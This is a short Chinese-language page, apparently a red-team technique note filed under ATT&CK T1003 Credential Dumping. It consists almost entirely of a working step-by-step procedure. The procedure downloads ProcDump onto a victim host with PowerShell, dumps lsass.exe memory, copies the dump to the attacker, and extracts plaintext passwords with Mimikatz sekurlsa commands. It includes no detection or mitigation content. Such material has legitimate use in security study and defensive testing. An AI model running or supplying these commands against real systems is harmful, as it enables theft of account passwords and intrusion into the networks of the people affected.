ATT&CK技术-T1003-Credential Dumping

ATT&CK技术-T1003-Credential Dumping

Scroll Down

Credential Dumping 凭证转储



Details

ProcDump and Mimikatz

  • 下载 ProcDump 工具到需要抓取密码的那台主机上:

可以使用 Powershell来下载,或者bitsadmin还有Certutil

powershell Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile %ALLUSERSPROFILE%\Procdump.zip
  • 解压 Procdump.zip 在受害者机器上
  • 在受害者主机上转储lsass.exe的进程内存(使用克隆转储):
%ALLUSERSPROFILE%\procdump.exe -accepteula -ma lsass.exe lsass.dmp -r
  • lsass.dmp 文件下载到攻击者本地
  • 使用 Mimikatz (x64/mimikatz.exe) 以获取明文密码:
    • Run Mimikatz
    • 输入 sekurlsa::Minidump lsass.dmp
    • 输入 sekurlsa::logonPasswords

References